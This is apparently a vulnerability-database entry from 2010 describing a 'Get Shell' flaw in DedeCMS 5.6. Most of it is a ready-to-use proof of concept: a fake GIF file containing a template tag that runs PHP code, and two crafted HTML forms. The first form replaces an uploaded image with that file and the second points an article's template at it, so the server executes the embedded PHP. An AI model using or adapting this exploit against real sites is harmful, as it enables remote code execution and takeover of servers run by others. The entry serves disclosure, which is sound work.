DEDECMS网站管理系统Get Shell漏洞

🗓️ 18 Aug 2010 00:00:00Reported by RootType
DedeCms PHP+MySQL system with potential Get Shell vulnerabilit

                                                 Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif

   1.  &lt;form action=&quot;http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; &quot;&gt;  
   2. &lt;input type=&quot;hidden&quot; name=&quot;aid&quot; value=&quot;7&quot; /&gt;  
   3. &lt;input type=&quot;hidden&quot; name=&quot;mediatype&quot; value=&quot;1&quot; /&gt;  
   4. &lt;input type=&quot;text&quot; name=&quot;oldurl&quot; value=&quot;/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif&quot; /&gt;&lt;/br&gt;  
   5. &lt;input type=&quot;hidden&quot; name=&quot;dopost&quot; value=&quot;save&quot; /&gt;  
   6. &lt;input name=&quot;title&quot; type=&quot;hidden&quot; id=&quot;title&quot; value=&quot;1.jpg&quot; class=&quot;intxt&quot;/&gt;  
   7. &lt;input name=&quot;addonfile&quot; type=&quot;file&quot; id=&quot;addonfile&quot;/&gt;  
   8. &lt;button class=&quot;button2&quot; type=&quot;submit&quot; &gt;更改&lt;/button&gt;  
   9. &lt;/form&gt;  

构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
 
 

   1. &lt;form  action=&quot;http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;  
   2. &lt;input type=&quot;hidden&quot; name=&quot;dopost&quot; value=&quot;save&quot; /&gt;  
   3. &lt;input type=&quot;hidden&quot; name=&quot;aid&quot; value=&quot;2&quot; /&gt;  
   4. &lt;input type=&quot;hidden&quot; name=&quot;idhash&quot; value=&quot;ec66030e619328a6c5115b55483e8dbd&quot; /&gt;  
   5. &lt;input type=&quot;hidden&quot; name=&quot;channelid&quot; value=&quot;1&quot; /&gt;  
   6. &lt;input type=&quot;hidden&quot; name=&quot;oldlitpic&quot; value=&quot;&quot; /&gt;  
   7. &lt;input type=&quot;hidden&quot; name=&quot;sortrank&quot; value=&quot;1282049150&quot; /&gt;     
   8. &lt;input  name=&quot;title&quot; type=&quot;text&quot; id=&quot;title&quot; value=&quot;aaaaaaaaaaaaaaa&quot; maxlength=&quot;100&quot; class=&quot;intxt&quot;/&gt;  
   9. &lt;input type=&quot;text&quot; name=&quot;writer&quot; id=&quot;writer&quot; value=&quot;123456&quot; maxlength=&quot;100&quot; class=&quot;intxt&quot; style=&quot;width:219px&quot;/&gt;  
  10. &lt;select name='typeid' size='1'&gt;  
  11. &lt;option value='1' class='option3' selected=''&gt;Test&lt;/option&gt;  
  12. &lt;select name='mtypesid' size='1'&gt;  
  13. &lt;option value='0' selected&gt;请选择分类...&lt;/option&gt;  
  14. &lt;option value='1' class='option3' selected&gt;aa&lt;/option&gt;&lt;/select&gt;   
  15. &lt;textarea name=&quot;description&quot; id=&quot;description&quot;&gt;aaaaaaaaaaaaa&lt;/textarea&gt;  
  16. &lt;input type='hidden' name='dede_addonfields' value=&quot;templet&quot;&gt;  
  17. &lt;input type='hidden' name='templet' value=&quot;../uploads/userup/3/1.gif&quot;&gt;  
  18. &lt;input type=&quot;hidden&quot; id=&quot;body&quot; name=&quot;body&quot; value=&quot;aaaa&quot; style=&quot;display:none&quot; /&gt;  
  19. &lt;button class=&quot;button2&quot; type=&quot;submit&quot;&gt;提交&lt;/button&gt;  
  20. &lt;/form&gt;
18 Aug 2010 00:00Current
7.1High risk
Vulners AI Score7.1